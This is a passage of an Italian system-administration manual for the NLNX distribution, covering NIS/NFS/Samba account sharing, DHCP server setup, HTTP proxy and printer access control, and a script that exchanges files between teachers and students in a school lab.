`user info` `home info`	Consente di scorrere l'elenco degli utenti, in ordine di nominativo oppure in ordine di directory personale, per ottenere poi alcune informazioni salienti sull'utenza relativa.

Funzione	Descrizione
`quota report`	Se è attiva la gestione delle quote, mostra l'elenco delle quote degli utenti, ordinata in modo decrescente per quantità di spazio utilizzato.
`clock`	Consente di cambiare la data e l'ora.
`nis-make`	Ricostruisce la base di dati NIS a partire dalle informazioni aggiornate delle utenze.
`nis restart`	Riavvia i servizi NIS (servente o cliente, a seconda della configurazione).
`lpd restart`	Riavvia il servente di stampa.
`printer access`	Controlla l'accesso al servente di stampa.
`gpm restart`	Riavvia il demone per la gestione del mouse.
`udev restart`	Riavvia la gestione automatica dei file di dispositivo.
`print maxpages`	Limita le stampe a un numero massimo di pagine per volta.
`lprm`	Elimina la coda di stampa.
`proxy access`	Controlla l'accesso al proxy HTTP.
`add machine`	Aggiunge un'utenza speciale, corrispondente a un elaboratore MS-Windows, per consentirgli l'accesso con Samba.
`admin passwd`	Consente all'amministratore di cambiarsi la propria parola d'ordine.
`reboot`	Esegue il riavvio degli elaboratori (devono essere selezionati).
`shutdown`	Avvia lo spegnimento degli elaboratori (devono essere selezionati).
`custom`***n***	Avvia lo script '**`CUSTOM`*n***' che deve essere presente nella directory '`/etc/script/`'. Si tratta di script personalizzati.
`exit`	Esce dal menù.

54.2 Utenze condivise e configurazione automatica con NLNX

Quando si installa NLNX può essere conveniente predisporre un servizio di condivisione delle utenze e delle directory personali, assieme a un meccanismo di configurazione automatica, utile in particolare per gli elaboratori avviati con un DVD *live* o comunque con un file system in sola lettura.

Tabella 50.66. Script '**`nlnxrc`**': configurazione del servizio DHCP.

Comando	Descrizione

`nlnxrc dhcp-server config`
 	
`nlnxrc dhcp-server unconf`
	Attiva o disattiva il funzionamento in qualità di servente DHCP.

`nlnxrc dhcp-server edit`	Modifica la configurazione del servente DHCP, intervenendo nel file di configurazione in modo libero.

54.2.1 Condivisione delle utenze attraverso NIS, NFS e Samba

Attraverso i protocolli NIS e NFS, NLNX può consentire la condivisione delle utenze e delle directory personali in una rete locale; inoltre, attraverso Samba, le directory personali degli utenti sono accessibili anche attraverso sistemi MS-Windows.

Si osservi che la procedura prevista per NLNX richiede che sia il NIS, sia le directory personali da condividere con il protocollo NFS e attraverso Samba, si trovino nello stesso elaboratore; inoltre è indispensabile che le directory personali si articolino a partire da '`/home/`'.

La procedura predisposta da NLNX prevede la pubblicazione del contenuto dei file '`/etc/passwd`', '`/etc/shadow`' e '`/etc/group`', ignorando ogni altro file che il NIS potrebbe fornire.

Figura 54.25. NIS, NFS e Samba offerti da un elaboratore in cui è installato NLNX.

Per attivare il NIS in modo da offrire alla rete locale la condivisione dei file '`/etc/passwd`', '`/etc/shadow`' e '`/etc/group`', si procede come segue:

`# nlnxrc nis-server config` [*Invio*]

```
.--------NIS domain----------.
| Please insert the NIS      |
| domain:                    |
| .------------------------. |
| |                        | |
| '------------------------' |
|----------------------------|
|   <  OK   >  <Cancel>      |
'----------------------------'
```

Il dominio NIS viene deciso liberamente, in questo caso scegliendo il nome '**`nis.domain`**':

`nis.domain` [OK]

```
.--------NIS server----------.
| Please insert the NIS      |
| server IPv4 address:       |
| .------------------------. |
| |172.21.254.254          | |
| '------------------------' |
|----------------------------|
|   <  OK   >  <Cancel>      |
'----------------------------'
```

Si presume che la rete interna sia già stata configurata, pertanto l'indirizzo viene proposto in modo automatico:

`172.21.254.254` [OK]

Un risultato equivalente avrebbe potuto essere ottenuto attraverso le opzioni di avvio seguenti:

`n_nis_domain=nis.domain n_nis_server=172.21.254.254`

Naturalmente, la condivisione delle informazioni contenute nei file delle utenze non è sufficiente: occorre condividere anche le directory personali degli utenti. Se la configurazione di NLNX non è stata modificata, la directory '`/home/`' risulta accessibile a qualunque nodo di rete con indirizzi IPv4 privati.

Prima di questo capitolo è spiegato in che modo configurare un nodo cliente per servirsi di un servizio NIS e NFS. In quel caso, è possibile distinguere i due serventi, mentre se si offre il servizio con NLNX, la procedura richiede che entrambi i servizi risiedano assieme nello stesso elaboratore (presso lo stesso indirizzo IPv4).

> Si osservi che per motivi pratici, lo script '`/etc/profile`' di NLNX, se riesce a determinare dalla configurazione che il proprio elaboratore dovrebbe ricoprire il ruolo di servente NIS, rifiuta l'accesso degli utenti comuni.

Il file di configurazione '`/etc/default/nis`' viene modificato automaticamente dallo script '**`nlnxrc`**'; tuttavia, se si vuole evitare che il servente NIS metta in funzione il demone '**`ypbind`**' (che procura una serie di inconvenienti), è bene aggiungere la riga seguente in quel file:

```
...
NISCLIENT=false
...
```

Se questa riga è presente, viene gestita correttamente da '**`nlnxrc`**', anche quando si configura il funzionamento come cliente NIS.

54.2.2 Utilizzo di SSHfs al posto di NFS

Quando un utente tenta di accedere attraverso il sistema grafico, se la sua directory personale non è presente e invece è stato configurato il riferimento a un servente NIS o NFS, viene tentato un collegamento a tale servente con l'ausilio di SSHfs. Pertanto, da una finestra di terminale viene chiesto ulteriormente di fornire la parola d'ordine per accedere, quindi viene concesso di accedere alla propria directory personale attraverso un tunnel SSH.

Figura 54.29. NIS, SSH e Samba offerti da un elaboratore in cui è installato NLNX.

NLNX
$ETH0
172.21.254.254
NIS, SSH e Samba
172.21.0.0/255.255.0.0
up link 1 2 3 4 5 6 7 8

Infatti, il servizio NFS per la condivisione delle directory personali degli utenti, gestito da NLNX, è quello della versione 3, non cifrato, il quale può andare bene in una piccola rete locale, in cui non ci sia il pericolo di comportamenti scorretti da parte degli utenti. Pertanto, quando non ci si può accontentare, presso il servente è meglio disabilitare la condivisione della directory '`/home/`' tramite il servizio NFS, lasciando così che le connessioni alle directory personali avvengano tramite SSHfs.

Si osservi, comunque, che l'accesso ai propri dati personali tramite SSHfs, non è equivalente a quello che si ha con un servizio NFS, perché si vedono esclusivamente i propri dati. Per esempio, se con NFS viene condivisa una directory (a partire da '`/home/`') con i permessi per tutti gli utenti, questa directory risulterebbe inaccessibile. A tale proposito, presso il servente è bene condividere la directory '`/data/`' (con NFS), per collocare lì i dati che devono essere disponibili a tutti e per i quali non ci sono problemi di segretezza.

54.2.3 Gestione delle utenze

Quando si attiva un servente NIS-NFS, è necessario gestire le utenze esclusivamente nell'elaboratore che offre questo servizio. In generale, una volta installato NLNX secondo la modalità normale, si potrebbero utilizzare gli strumenti consueti per tale gestione, ma è meglio avvalersi in ogni caso dello script '**nlnxrc**':

```
nlnxrc user add
```

```
nlnxrc user del [utente]
```

```
nlnxrc user passwd
```

```
nlnxrc user description
```

```
nlnxrc user info
```

La sintassi dovrebbe essere già comprensibile così: '**add**' aggiunge un utente; '**del**' lo elimina, assieme alla sua directory personale; '**passwd**' consente di cambiargli la parola d'ordine per accedere; '**description**' consente di cambiarne la descrizione; '**info**' consente di ottenere le informazioni sintetiche di un'utenza.

Per motivi pratici, la directory personale dell'utente che viene creato contiene nel percorso un'informazione aggiuntiva che, in caso non sia specificata e non siano presenti altri esempi del genere, è costituita dall'anno di creazione, per individuare in modo molto semplice le utenze più vecchie, senza bisogno di interrogare il file '/etc/shadow'. Per esempio, se nell'anno 2010 si crea l'utenza '**pippo**' e si segue ciò che viene proposto, si ottiene la directory personale '/home/2010/pippo/'.

L'utilizzo del comando '**nlnxrc user add**' ha anche il vantaggio di facilitare l'inserimento di più utenze, dal momento che alla fine di ogni inserimento ne viene proposto subito un altro (che comunque può essere annullato); inoltre, al termine degli inserimenti viene riallineato il NIS.

54.2.4 Samba

La configurazione di Samba non viene gestita tramite '**nlnxrc**', ma rimane da sistemare a mano. Il file predefinito ha l'aspetto seguente, commenti inclusi, e ha lo scopo di consentire l'accesso ai propri dati personali:

```
[global]
    server string = default NLNX configuration
```

```
    workgroup = NLNX
    netbios name = nlnx00
    local master = no
    domain master = no
#   local master = yes
#   domain master = yes
#   preferred master = yes
#   os level = 33
#   domain logons = yes
#   logon path = \\%L\profiles\%u
#   wins support = yes
#   time server = yes
    security = user
    hostname lookups = no
    hosts allow = 127.0.0.0/8 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16
    dns proxy = no
    log file = /var/log/samba/log.%m
    max log size = 1000
    log level = 3
    encrypt passwords = yes
    smb passwd file = /etc/samba/smbpasswd
    passdb backend = smbpasswd:/etc/samba/smbpasswd
    invalid users = root user admin0 admin1 admin2 admin3 admin4 ↩
↪admin5 admin6 admin6 admin7 admin8 admin9 nobody daemon bin sys ↩
↪sync games man lp mail news uucp proxy dip postgres www-data ↩
↪backup msql operator list irc gnats ftp sshd clamav bind saned ↩
↪partimag wims fetchmail messagebus Debian-console-log
    socket options = TCP_NODELAY
    hide files = /Desktop/Mail/mail/dosemu/
#   load printers = yes
#   printing = bsd
#   printcap name = /etc/printcap
    unix password sync = yes
    passwd program = /usr/bin/passwd %u
    pam password change = yes
[homes]
    comment = home directories
    browseable = no
    writable = yes
    create mask = 0755
    directory mask = 0755

#[netlogon]
#   path = /home/.samba/netlogon
#   writeable = no
#   browseable = no
#   guest ok = yes
```

```
#[profiles]
#   path = /home/.samba/profiles
#   browseable = no
#   writeable = yes
#   create mask = 0600
#   directory mask = 0700

#[examples]
#    comment = examples
#    browseable = yes
#    path = /home/examples
#    writable = no
#    public = yes

#[printers]
#   comment = All Printers
#   browseable = no
#   path = /tmp
#   printable = yes
#   public = no
#   writable = no
#   create mode = 0700

#[print$]
#   comment = printer drivers
#   path = /var/lib/samba/printers
#   browseable = yes
#   read only = yes
#   guest ok = no
```

Nel file appaiono delle direttive commentate, allo scopo di avere un'idea delle voci che si potrebbero aggiungere. Le direttive evidenziate sono quelle che vanno modificate quasi sicuramente. In ogni caso, se si installa NLNX su più di un elaboratore è bene che le prime direttive siano differenti; inoltre, se l'installazione prevede la concentrazione delle utenze e delle directory personali, è bene che Samba sia in funzione solo in quello che gestisce effettivamente le utenze.

Per accedere alle directory personali, attraverso un sistema MS-Windows, gli utenti devono seguire una procedura che varia in funzione della versione di tale sistema operativo. Quello che si vede negli schemi successivi è una semplificazione che dovrebbe consentire di comprendere il procedimento, adattandolo poi alla realtà del proprio sistema.

Figura 54.31. Aggiunta di una risorsa di rete.

Figura 54.32. Indicazione del percorso della risorsa. Si suppone che l'elaboratore in cui è in funzione NLNX con il servizio Samba per la condivisione delle directory personali sia raggiungibile all'indirizzo IPv4 192.168.1.253. Inoltre, l'utente ipotetico è denominato «rossimario».

Figura 54.33. La risorsa risulta disponibile ed è possibile accedervi come se fosse un'unità a disco. Una volta collegata la risorsa, si suppone di voler salvare al suo interno un file con il nome '`miofile`'.

È molto probabile che il sistema MS-Windows chieda di memorizzare la parola d'ordine inserita: è evidente che ciò non va fatto, altrimenti un estraneo potrebbe accedere conoscendo sem-

plicemente il nominativo-utente. Inoltre, al termine dell'utilizzo della risorsa, è necessario procedere al suo distacco, come si farebbe con un'unità rimovibile, altrimenti i dati rimarrebbero accessibili.

54.2.4.1 Le utenze di Samba

Samba utilizza il file '`/etc/samba/smbpasswd`' per tenere traccia degli utenti. Questo file è incompatibile con '`/etc/passwd`' e per mantenere le utenze Unix allineate con quelle del protocollo SMB è necessario utilizzare i comandi di '**`nlnxrc`**':

```
nlnxrc user add
```

```
nlnxrc user del [utente]
```

```
nlnxrc user passwd
```

54.2.5 Servente DHCP

In condizioni normali, prima che sia stata inserita una propria configurazione per l'utilizzo della rete, NLNX utilizza il protocollo DHCP per tentare di configurarsi in modo automatico. Tale configurazione automatica, se le informazioni sono disponibili, si spinge anche all'uso del NIS, della condivisione delle directory personali, della stampa condivisa in rete, della gestione di un registro complessivo.

In generale, l'uso predefinito del protocollo DHCP serve soprattutto per facilitare il funzionamento di NLNX da unità in sola lettura, quando è già disponibile tale servizio e non si deve fare un lavoro specifico. Quando invece si vuole usare il DHCP anche per la condivisione delle utenze e gli altri servizi, diventa indispensabile attivare il proprio servente DHCP.

NLNX è pensato in modo particolare per il contesto di una rete usata a scuola, dove è molto facile entrare in conflitto con altri servizi DHCP, probabilmente di altri sistemi operativi. Il servente DHCP di NLNX può essere attivato in un elaboratore che funge da router, ma se si vuole isolare il servizio DHCP rispetto alle altre reti, è indispensabile che l'elaboratore che svolge il lavoro sia provvisto di **due interfacce di rete**, una rivolta alla rete locale da servire e una rivolta all'esterno, o al resto della rete del complesso, per evitare queste interferenze. Pertanto, se non è possibile isolare la propria rete attraverso un router composto da due interfacce ed esistono altri servizi DHCP accessibili, è meglio evitare l'uso del DHCP con NLNX.

Figura 54.34. La situazione prevista, con esempi di indirizzi, per l'utilizzo di un servente DHCP con NLNX.

In base all'esempio mostrato nella figura, si può procedere alla configurazione del servente DHCP nel modo seguente:

`# nlnxrc dhcp-server config` [*Invio*]

```
.---------------------------DHCP range-----------------------------.
| Current "/etc/dhcp3/dhcpd.conf" file might be set as it follows:   |
|                                                                    |
| ddns-update-style none;                                            |
| subnet 172.21.0.0 netmask 255.255.0.0 {                            |
| #  range 172.21.254.100 172.21.254.199;                            |
|   option broadcast-address 172.21.255.255;                         |
|   option routers 172.21.254.254;                                   |
|   option domain-name-servers 172.21.254.254;                       |
|   option time-servers 172.21.254.254;                              |
|   option ntp-servers 172.21.254.254;                               |
|   option root-path "172.21.254.254:/";                             |
|   option nis-domain "nis.nano";                                    |
|   option nis-servers 172.21.254.254;                               |
|   option lpr-servers 172.21.254.254;                               |
|   option log-servers 172.21.254.254;                               |
| }                                                                  |
|                                                                    |
| Please insert or confirm the DHCP address range:                   |
| .---------------------------------------------------------------. |
| |172.21.254.100 172.21.254.199                                  | |
|-'---------------------------------------------------------------'-|
|                   <  OK  >          <Cancel>                       |
'--------------------------------------------------------------------'
```

Dal momento che è stato stabilito di usare un intervallo di indirizzi differente per il DHCP, il valore viene cambiato:

[*Canc*] [*Canc*]...

172.21.1.100 172.21.1.199 [OK]

Successivamente viene chiesto se si vuole definire qualche abbinamento fisso tra indirizzi Ethernet e indirizzi IPv4. Come si intuisce dall'esempio che viene mostrato, gli indirizzi IPv4 che si associano sono diversi dal pacchetto attribuito in modo dinamico:

```
172.21.1.1  00:0B:6A:64:8C:F7
172.21.1.2  00:0B:6A:64:8C:F8
172.21.1.3  00:0B:6A:64:9C:A3
```

Per l'inserimento di questi indirizzi si usa un programma di modifica di file di testo e le variazioni vanno salvate lasciando il nome predefinito del file temporaneo utilizzato. Al termine viene mostrato un sunto della configurazione attuale, da confermare:

```
.--------------DHCP server configuration----------------.
| Is the following configuration correct?               |
|                                                       |
| ddns-update-style none;                               |
| option option-128 code 128 = string;                  |
| option option-129 code 129 = text;                    |
| next-server 172.21.254.254;                           |
| subnet 172.21.0.0 netmask 255.255.0.0 {               |
|   range 172.21.1.100 172.21.1.199;                    |
|   option broadcast-address 172.21.255.255;            |
|   option routers 172.21.254.254;                      |
|   option domain-name-servers 172.21.254.254;          |
|   option time-servers pool.ntp.org;                   |
|   option ntp-servers pool.ntp.org;                    |
|   option root-path "172.21.254.254:/opt/NLNX";        |
|   option nis-domain "nis.domain";                     |
|   option nis-servers 172.21.254.254;                  |
|   option lpr-servers 172.21.254.254;                  |
|   option log-servers 172.21.254.254;                  |
|   use-host-decl-names      on;                        |
|   filename "/pxelinux/pxelinux.0";                    |
| }                                                     |
|-------------------------------------------------------|
|               <  Yes  >        <  No  >               |
'-------------------------------------------------------'
```

Se la configurazione proposta è quella che si desidera, si può confermare:

[YES]

Altrimenti si annulla, salvando ugualmente al configurazione, ma senza attivare immediatamente il servizio:

[NO]

Se la configurazione ottenuta non è quella desiderata (per esempio il dominio NIS non è quello voluto oppure alcuni servizi sono riferiti a indirizzi errati), conviene modificarla attraverso il comando seguente:

`# ` **`nlnxrc dhcp-server edit`** [*Invio*]

Con questo si passa alla modifica diretta del file '`/etc/dhcp3/dhcpd.conf`'. Quando si salva, si riavvia il servizio DHCP. In base all'esempio, la configurazione ottenuta sarebbe quella seguente:

```
ddns-update-style none;
option option-128 code 128 = string;
option option-129 code 129 = text;
next-server 172.21.254.254;

subnet 172.21.0.0 netmask 255.255.0.0 {
  range 172.21.1.100 172.21.1.199;
  option broadcast-address 172.21.255.255;
  option routers 172.21.254.254;
  option domain-name-servers 172.21.254.254;
  option time-servers pool.ntp.org;
  option ntp-servers pool.ntp.org;
  option root-path "172.21.254.254:/opt/NLNX";
```

```
    option nis-domain "nis.domain";
    option nis-servers 172.21.254.254;
    option lpr-servers 172.21.254.254;
    option log-servers 172.21.254.254;
    use-host-decl-names      on;
    filename "/pxelinux/pxelinux.0";
    host 172.21.1.1 { hardware ethernet 00:0B:6A:64:8C:F7; fixed-address 172.21.1.1; }
    host 172.21.1.2 { hardware ethernet 00:0B:6A:64:8C:F8; fixed-address 172.21.1.2; }
    host 172.21.1.3 { hardware ethernet 00:0B:6A:64:9C:A3; fixed-address 172.21.1.3; }
}
```

54.3 Controllo dell'accesso a servizi HTTP esterni

Il servizio proxy HTTP di NLNX è costituito da OOPS.

Tabella 50.67. Script '**`nlnxrc`**': configurazione del servizio proxy HTTP.

Comando	Descrizione
`nlnxrc proxy clients` [***gruppo***]	Definisce l'elenco dei nodi di rete previsti per l'accesso al proprio servizio proxy HTTP.
`nlnxrc proxy access` [***gruppo***]	Seleziona i nodi di rete, tra quelli previsti, che possono accedere effettivamente al servizio.

54.3.1 Situazione tipica di utilizzo

Nella figura successiva appare la schematizzazione di una rete locale composta da diversi gruppi di elaboratori, organizzati opportunamente in base agli indirizzi (172.21.1.∗, 172.21.2.∗, 172.21.3.∗, 172.21.4.∗), che utilizzano tutti il router 172.21.254.254, il quale ha anche la funzione di proxy HTTP.

Figura 54.39. Situazione tipica di utilizzo del servizio proxy HTTP di NLNX

3128 OOPS
NLNX
alla rete esterna
attraverso 192.168.1.254
172.21.254.254
punto di accesso
router: NAT, proxy HTTP, ecc.
172.21.0.0/255.255.0.0
up link 1 2 3 4 5 6 7 8

172.21.1.1
172.21.1.2
172.21.1.3
...
172.21.1.7
gruppo "contab"

172.21.2.1
172.21.2.2
172.21.2.3
...
172.21.2.7
gruppo "info"

172.21.3.1
172.21.3.2
172.21.3.3
...
172.21.3.7
gruppo "testi"

172.21.4.1
172.21.4.2
172.21.4.3
...
172.21.4.7
gruppo "wifi"

Per prima cosa occorre distinguere se il servizio proxy HTTP è «normale» o trasparente, come viene configurato nel servente attraverso il comando '**`nlnxrc network config`**'. Logicamente, se si tratta di un servizio trasparente, tutti i nodi periferici che si devono avvalere del router, sono sottoposti al controllo del proxy HTTP, diversamente vanno configurati espressamente i programmi usati come navigatori.

Se il servizio è normale, nel senso che i programmi usati come navigatori devono essere configurati espressamente, se si configura la richiesta del servizio verso la porta 3128 si è sottoposti al controllo di OOPS. Quando invece il servizio proxy HTTP è trasparente, tutto il traffico che va verso l'esterno, alla porta 80, viene ridiretto automaticamente alla porta 3128, ovvero a OOPS. Tuttavia, se il servizio è trasparente, il traffico diretto volontariamente alla porta 3128, viene invece dirottato al servente HTTP locale.

54.3.2 Controllo a gruppi

In condizioni normali, il proxy HTTP di NLNX va configurato in modo trasparente, nel nodo che svolge il ruolo di router, per poter poi, attraverso il proxy, controllare l'accesso ai siti.

È possibile limitare l'accesso al proxy HTTP intervenendo su insiemi separati di nodi, in modo da poter controllare chi, nella propria rete locale, può accedere ai servizi HTTP esterni. Tali insiemi di nodi vengono nominati arbitrariamente; per esempio il gruppo «contab» si crea e si aggiorna così:

```
# nlnxrc proxy clients contab [Invio]
```

Si inizia stabilendo l'elenco di nodi che si possono avvalere potenzialmente del proxy HTTP. Si devono indicare solo nodi singoli:

```
172.21.1.1
172.21.1.2
172.21.1.3
172.21.1.4
172.21.1.5
172.21.1.6
172.21.1.7
```

Gli altri gruppi si definiscono nello stesso modo:

nlnxrc proxy clients info [*Invio*]

nlnxrc proxy clients testi [*Invio*]

nlnxrc proxy clients wifi [*Invio*]

È importante evitare di creare delle sovrapposizione tra i gruppi di accesso. Dopo la predisposizione degli elenchi, si può passare al controllo effettivo dell'accesso:

nlnxrc proxy access contab [*Invio*]

```
.----------HTTP proxy access permissions-------------.
| Please, select or deselect who can access to the   |
| HTTP proxy:                                        |
| .-----------------------------------------------. |
| | [ ] DENY_ALL       reset to no access allowed  | |
| | [ ] ALLOW_ALL      reset to all access allowed | |
| | [ ] 172.21.1.1     allow_172.21.1.1            | |
| | [ ] 172.21.1.2     allow_172.21.1.2            | |
| | [ ] 172.21.1.3     allow_172.21.1.3            | |
| | [ ] 172.21.1.4     allow_172.21.1.4            | |
| | [ ] 172.21.1.5     allow_172.21.1.5            | |
| | [ ] 172.21.1.6     allow_172.21.1.6            | |
| | [ ] 172.21.1.7     allow_172.21.1.7            | |
| `-----v(+)---------------------------------------' |
|----------------------------------------------------|
|             <  OK  >         <Cancel>              |
`----------------------------------------------------'
```

Eventualmente, tra i nodi già definiti tramite il comando '**nlnxrc proxy access**' è possibile dichiarare quali escludere dal filtro svolto da DansGuardian:

nlnxrc proxy filter contab [*Invio*]

```
.------------HTTP proxy content filter selection--------------.
| Please, select or deselect who can access to the HTTP proxy |
| without content filtering:                                  |
| .---------------------------------------------------------. |
| | [ ] FILTER_ALL     reset to all filtered                | |
| | [ ] FREE_ALL       reset to all free to access any site | |
| | [*] 172.21.1.1     free_172.21.1.1                      | |
| | [*] 172.21.1.2     free_172.21.1.2                      | |
| | [*] 172.21.1.3     free_172.21.1.3                      | |
| | [ ] 172.21.1.4     free_172.21.1.4                      | |
| | [ ] 172.21.1.5     free_172.21.1.5                      | |
| | [ ] 172.21.1.6     free_172.21.1.6                      | |
| | [ ] 172.21.1.7     free_172.21.1.7                      | |
| `---------------------------------------------------------' |
|-------------------------------------------------------------|
|                 <  OK  >         <Cancel>                   |
`-------------------------------------------------------------'
```

In questo caso, con le selezioni che si vedono, si vuole fare in modo che i nodi con gli indirizzi 172.21.1.1, 172.21.1.2 e 172.21.1.3, siano esonerati dal filtro dei contenuti.

Quando si usano i comandi '**nlnxrc proxy** ...' omettendo il nome del raggruppamento a cui si è interessati, se ne esiste già un solo non viene fatta alcuna richiesta e si passa a svolgere l'attività richiesta; se invece ne è disponibile più di uno, appare un menù da cui poter scegliere.

54.4 Controllo dell'accesso alla stampante

L'accessibilità di una stampante va limitato. NLNX consente di definire l'insieme degli elaboratori clienti che possono servirsi della stampante collegata al proprio.

Tabella 50.68. Script '**nlnxrc**': configurazione della stampa.

Comando	Descrizione
`nlnxrc printer config`	Consente di ricreare il file '`/etc/printcap`' impostando la coda di stampa predefinita per la stampante che si usa in un certo momento.
`nlnxrc print maxpages`	Consente di definire una quantità massima di pagine che possono essere stampate simultaneamente.
`nlnxrc printer clients` `nlnxrc printer access`	Nel primo caso consente di definire l'elenco dei nodi di rete previsti per l'accesso al proprio servizio di stampa; nel secondo consente di scegliere quali nodi, tra quelli previsti, possono accedere effettivamente al servizio di stampa.

La configurazione di una stampante locale comporta inizialmente che questa venga resa accessibile a chiunque, senza limitazioni, mentre la configurazione di una stampante remota coincide con la chiusura dell'accesso a chiunque, salvo ai programmi locali.[1] Per modificare questo sistema di massima, occorre procedere con due comandi di '**nlnxrc**':

nlnxrc printer clients [*Invio*]

Per prima cosa occorre dichiarare quali sono i nodi da cui è prevista la possibilità di accedere al proprio servizio di stampa (locale o remoto che sia). In pratica, in questo elenco vanno inseriti gli indirizzi IPv4 di chi, per qualche ragione, deve avere la possibilità di stampare. Un elenco del genere potrebbe avere significato:

```
172.21.1.1
172.21.1.2
172.21.1.3
172.21.2.0/255.255.255.0
172.21.3.0/255.255.255.0
```

Come si vede, si possono indicare anche gruppi di nodi, specificando una maschera di rete; tuttavia, è bene che non si creino sovrapposizioni, altrimenti diventa poi difficile gestire il controllo dei permessi di accesso.

Supponendo di avere inserito esattamente l'elenco che si vede nell'esempio, dopo, con un altro comando di '**nlnxrc**', è possibili stabilire chi può accedere tra questi:

\# **nlnxrc printer access** [*Invio*]

```
.--------------------Printer access permissions-----------------------.
| Please, select or deselect allowed access to printer:               |
| .-----------------------------------------------------------------. |
| | [ ] DENY_ALL                  reset to no remote access allowed | |
| | [ ] ALLOW_ALL                 reset to all access allowed       | |
| | [ ] 172.21.1.1                allow_172.21.1.1                  | |
| | [ ] 172.21.1.2                allow_172.21.1.2                  | |
| | [ ] 172.21.1.3                allow_172.21.1.3                  | |
| | [ ] 172.21.2.0/255.255.255.0  allow_172.21.2.0/255.255.255.0    | |
| | [ ] 172.21.3.0/255.255.255.0  allow_172.21.3.0/255.255.255.0    | |
| '-----v(+)--------------------------------------------------------' |
|---------------------------------------------------------------------|
|                   <  OK  >            <Cancel>                      |
'---------------------------------------------------------------------'
```

Le prime due voci sono costanti, le altre dipendono dall'elenco inserito in precedenza. Selezionando la voce '**ALLOW_ALL**' si ottiene di attivare tutte le voci previste, mentre '**DENY_ALL**' le disattiva tutte. Queste due voci iniziali servono solo per azzerare velocemente l'elenco e la loro selezione, fa sì che confermando la richiesta si ripresenti l'elenco, senza eseguire subito l'azione richiesta; pertanto, solo quando le prime due voci dell'elenco sono deselezionate si prende in considerazione la scelta di quelle sottostanti e viene aggiornata la configurazione.

Supponendo di abilitare l'accesso al gruppo costituito dagli indirizzi 172.21.2.*, si può osservare cosa succede se si riavvia il comando la volta successiva:

```
.--------------------Printer access permissions-----------------------.
| Please, select or deselect allowed access to printer:               |
| .-----------------------------------------------------------------. |
| | [ ] DENY_ALL                  reset to no remote access allowed | |
| | [ ] ALLOW_ALL                 reset to all access allowed       | |
| | [X] 172.21.2.0/255.255.255.0  allow_172.21.2.0/255.255.255.0    | |
| | [ ] 172.21.1.1                allow_172.21.1.1                  | |
| | [ ] 172.21.1.2                allow_172.21.1.2                  | |
| | [ ] 172.21.1.3                allow_172.21.1.3                  | |
| | [ ] 172.21.3.0/255.255.255.0  allow_172.21.3.0/255.255.255.0    | |
| '-----v(+)--------------------------------------------------------' |
|---------------------------------------------------------------------|
|                   <  OK  >            <Cancel>                      |
'---------------------------------------------------------------------'
```

Al riavvio del comando, le voci che in precedenza erano state selezionate, appaiono all'inizio dell'elenco, così da non doverle cercare.

Dal punto di vista del risultato, quello che conta è l'elenco dei punti a cui è concesso accedere. Se nell'elenco sono state fatte delle duplicazioni, per esempio se appare il nodo 172.21.2.33 e anche 172.21.2.0/255.255.255.0, bloccando l'accesso al gruppo 172.21.2.*, attraverso la voce 172.21.2.0/255.255.255.0, il nodo 172.21.2.33 rimane ammesso a inviare delle stampe. Naturalmente può darsi che questo sia ciò che si vuole; quel che conta è capirne la logica.

54.5 Mettere in comunicazione insegnanti e studenti

NLNX prevede che si possano predisporre degli script personalizzati, denominati '**`CUSTOM`*n***' e collocati nella directory '`/etc/script/`'. Vengono però forniti degli esempi, in particolare '**`CUSTOM1`**', con il quale si copiano dei file tra insegnanti e studenti, per facilitarne il lavoro in un laboratorio didattico. Tuttavia, il funzionamento di tale script richiede che siano rispettate alcune convenzioni nella definizione delle utenze.

Le sezioni successive descrivono il contesto a cui è destinato lo script '**`CUSTOM1`**' fornito con NLNX e lo scopo che con questo si intende raggiungere.

54.5.1 Organizzazione delle utenze

Lo script '**`CUSTOM1`**' fornito con NLNX richiede che le directory personali destinate agli insegnanti siano collocate, a scelta, a partire da '`/home/DOCENTI*/`' o '`/home/ITP*/`'. Per esempio, il professor Sempronio Dicembrino potrebbe avere l'utenza '**`dicembrinosempr`**' e, di conseguenza, la directory personale '`/home/DOCENTI*/dicembrinosempr/`' (oppure '`/home/ITP*/dicembrinosempr/`' se si tratta di un insegnante tecnico-pratico).

Per gli studenti, invece, è necessario che la classificazione sia composta da: numero della classe, lettera maiuscola della sezione, lettera maiuscola (opzionale) per il corso, quattro cifre per l'anno scolastico. Per esempio, lo studente Mario Rossi della classe 5A, corso «I», nell'anno scolastico 2010/2011, avendo l'utenza '**`rossimario`**', deve avere la directory personale '`/home/5AI1011/rossimario/`'.

È evidente che tale organizzazione richieda uno spostamento manuale delle utenze degli studenti alla fine dell'anno scolastico, per farli passare alla classificazione dell'anno scolastico successivo (se si vuole procedere in questo modo, vanno spostate le directory personali e va modificato a mano il file '`/etc/passwd`').

54.5.2 Funzionamento

Quando si avvia lo script '**`CUSTOM1`**' la prima volta, questo predispone delle strutture di directory nelle cartelle personali di studenti e di docenti. In entrambi i casi, gli utenti trovano le directory '`verifiche/`' e '`strumenti/`'.

Gli studenti vedono nella directory '`verifiche/`' altre sottodirectory con i nomi corrispondenti a quelli degli insegnanti; mentre gli insegnanti, all'interno di '`verifiche/`' vedono delle directory con le suddivisioni in classi degli studenti (per esempio '`5AI1011/`'), e all'interno di quelle trovano delle directory con i nomi degli studenti rispettivi. In tal modo, lo studente che deve o vuole conferire a un insegnante dei file, li mette nella directory '`verifiche/`***docente***`/`'; così facendo, quell'insegnante può trovare i file nella directory '`verifiche/`***classe***`/`***studente***`/`'.

Analogamente, gli insegnanti vedono una struttura articolata in classi, a partire dalla directory 'strumenti/'. Quando un insegnante mette dei file nella directory 'strumenti/***classe***/', tutti gli studenti di quella classe trovano tali file nella loro directory 'strumenti/***docente***/'.

Lo script '**CUSTOM1**' va avviato periodicamente, per garantire che i file vengano messi correttamente a disposizione di insegnanti e studenti, dato che questi vengono copiati tra le directory.

Per comprendere meglio il meccanismo, si prenda lo studente Mario Rossi, della classe 5Ci, la cui directory personale corrisponde a '/home/5CI1011/rossimario/' e l'insegnante Sempronio Dicembrino, la cui directory personale corrisponde a '/home/DOCENTI*/dicembrinosempr/'. Lo studente Rossi prepara una verifiche per l'insegnante Dicembrino, costituita dal file 'esercizio' che colloca nella propria directory '~/verifiche/dicembrinosempr/'; per converso, l'insegnante Dicembrino trova nella propria directory '~/verifiche/home/5CI1011/rossimario/' il file 'esercizio'.

